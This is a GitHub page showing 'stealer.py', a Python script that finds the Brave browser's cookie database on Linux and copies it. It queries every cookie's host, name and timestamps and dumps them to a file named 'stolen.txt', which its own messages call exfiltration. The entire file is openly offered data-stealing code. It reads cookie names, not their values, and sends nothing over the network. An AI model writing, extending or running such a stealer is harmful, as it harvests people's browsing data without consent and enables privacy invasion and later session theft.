-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathstealer.py
83 lines (64 loc) · 2.24 KB
/
stealer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import os, sys, sqlite3, shutil
def find_db(_path):
# walk through all directories and subdirectories
for root, dirs, files in os.walk(_path):
if 'Cookies' in files:
# if found, return the full path
return os.path.join(root, 'Cookies')
# generic error if database not found
raise FileNotFoundError("Cookies database not found")
def main():
dump = []
# confirm brave root directory exists
try:
cdir = os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default")
if not os.path.exists(cdir):
sys.exit('\r\nBrave does not appear to be installed...\r\n')
except Exception as ex:
print(ex)
# locate cookie database
try:
cookie_db = find_db(cdir)
except FileNotFoundError as e:
sys.exit('\r\nCookie database not found!..\r\n')
# make a copy to avoid access errors
cd = os.getcwd()
clone = os.path.join(cd, os.path.basename(cookie_db))
try:
shutil.copy(cookie_db, clone)
except:
sys.exit('\r\nError copying database!')
# attempt to query cookie info
print('\r\nThis may take a moment...\r\n')
try:
# connect to cookiesException as e.sqlite
conn = sqlite3.connect(clone)
cursor = conn.cursor()
# query all urls
cursor.execute("SELECT creation_utc, host_key, name, expires_utc FROM cookies;")
# get results
rows = cursor.fetchall()
# close db
conn.close()
# verbose output
for row in rows:
input = f"Creation UTC: {row[0]} | Website: {row[1]} | Cookie data: {row[2]} | Expiry UTC: {row[3]}"
# add to list
dump.append(input)
except sqlite3.Error as e:
sys.exit(f"\r\nSQLite error: {e}")
# delete cloned cookies.sqlite
try:
os.remove(clone)
except:
pass
# dump to textfile
try:
with open("stolen.txt", "w") as file:
for cookie in dump:
file.write(cookie + "\n")
except:
sys.exit('\r\nError exfiltrating cookies!..\r\n')
sys.exit('\r\nDone!\r\n')
if __name__ == '__main__':
main()